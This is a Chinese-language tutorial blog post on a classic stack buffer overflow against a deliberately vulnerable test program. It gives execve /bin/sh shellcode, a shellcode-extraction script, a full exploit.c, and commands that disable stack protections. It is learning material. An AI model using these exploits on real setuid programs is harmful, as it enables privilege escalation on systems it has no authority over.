栈溢出攻击提权进入root shell

来源:互联网 发布:软件注册权认证 编辑:程序博客网 时间:2024/05/21 16:03

以前对栈溢出攻击只是一种感官上的,最近学了shellcode,才真切地感觉到了栈溢出攻击有多么危险。

为了测试简单,写一个比较简单的程序,我们称之为bug.c


#include <stdio.h>#include <string.h>int main(int argc, char **argv) {char buff[500];strcpy(buff,argv[1]);return 0;}

这段代码比较简单,就是为了用来测试栈溢出的,很显然,它是有漏洞的。

好了,我们准备好进入root shell的汇编代码:

Section .textglobal _start_start:xor eax,eaxpush eaxpush 0x68732f; /sh 小端机存储push 0x6e69622f ; /bin 小端存储mov ebx,esppush eaxpush ebxmov ecx,espxor edx,edxmov al,0xb; execve函数int 0x80

我们用nasm编译:

nasm -f elf execve.asm

用ld链接:

ld execve -o execve.o

我们测试一下结果:


看来汇编代码没问题,我们接着用objdump把二进制代码抠出来,看看shellcode会不会出现00这样无效或低效的代码:


很显然,第三行出现了00,这对于shellcode来说是致命的,所以我们想办法规避它。我们用"/"代替0.这样,汇编的源代码就变成了:

Section .textglobal _start_start:xor eax,eaxpush eaxpush 0x68732f2f; /sh 小端机存储push 0x6e69622f ; /bin 小端存储mov ebx,esppush eaxpush ebxmov ecx,espxor edx,edxmov al,0xb; execve函数int 0x80
我们编译链接一下,看代码运行结果:


ok,代码运行结果正常,我们这回再看看二进制代码:

ok,我们把shellcode提出来,我这里用了一个shell脚本:


#!/bin/shif [ ! $# == 1 ]; thenecho Usage: get-shellcode prognameexitfiobjdump -d $1 | awk -F "\t+" '{print $2}' | sed "/^\s*$/{d}" | awk -F " " '{ for(i=1;i<=NF;i++){ printf("\\x%s",$i) } } END{printf("%s","\n")}'

执行如下命令:


ok,得到shellcode代码了。

下面写一段栈溢出攻击的代码,我们称之为exploit.c

#include <stdio.h>#include <stdlib.h>#include <string.h>char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68""\x68\x2f\x62\x69\x6e\x89\xe3\x50""\x53\x89\xe1\x31\xd2\xb0\x0b\xcd""\x80";unsigned long get_stack_addr() {__asm__("movl %esp,%eax");}int main(int argc, char **argv) {int i, offset;long esp, ret, *addr_ptr;char *buffer, *ptr;offset = 0;esp = get_stack_addr();ret = esp - offset;buffer = malloc(600);// 把返回地址写进去ptr = buffer;addr_ptr = (long *)ptr;for (i = 0; i < 600; i += 4) *addr_ptr++ = ret;// 前200个字节填充NOP指令memset(buffer,'\x90',200);// NOP指令之后填充shellcodeptr = buffer + 200;memcpy(ptr,shellcode,strlen(shellcode));buffer[599] = '\0';execl("./bug","bug",buffer,0);free(buffer);return 0;}

ok,我们编译并运行exploit:


这时候我们发现代码挂了。。。。

等等,我们忘记了现在os默认是打开栈地址随机化的,好的,先关掉它测试下:


还有当前是在fedora环境下测试,fedora有个机制保护栈缓冲区溢出攻击,那就是栈代码默认不可执行,我们也打开它:

sudo sysctl -w kernel.exec-shield=0


发现shell是进入了,但是并不是root shell,怎么回事呢? 

这是因为操作系统为了防止缓冲区溢出做了很多事,其实一个手段就是保护bash——当shell调用时,自动降低权限。也就是说即使你在shell里面调用带有suid,且用户名为root的程序,也不会成功。怎么办呢? 

在这里,我们可以用zsh代替bash,因为zsh默认是没有实现这种保护机制的。


ok,我们再测试下:


成功进入root shell.

可是,假如我们不想关掉栈地址随机化呢,怎么办?我们可以用下面的代码进行测试:

sh -c "while [ 1 ];do ./exploit;done"

呵呵,限制较多,在实际场合中不太可能把bash偷梁换柱成zsh,还有将bug可执行文件改为root拥有,so,只能继续努力了。希望下次是拿一个真实的应用程序作为例子,加油!

0 0
原创粉丝点击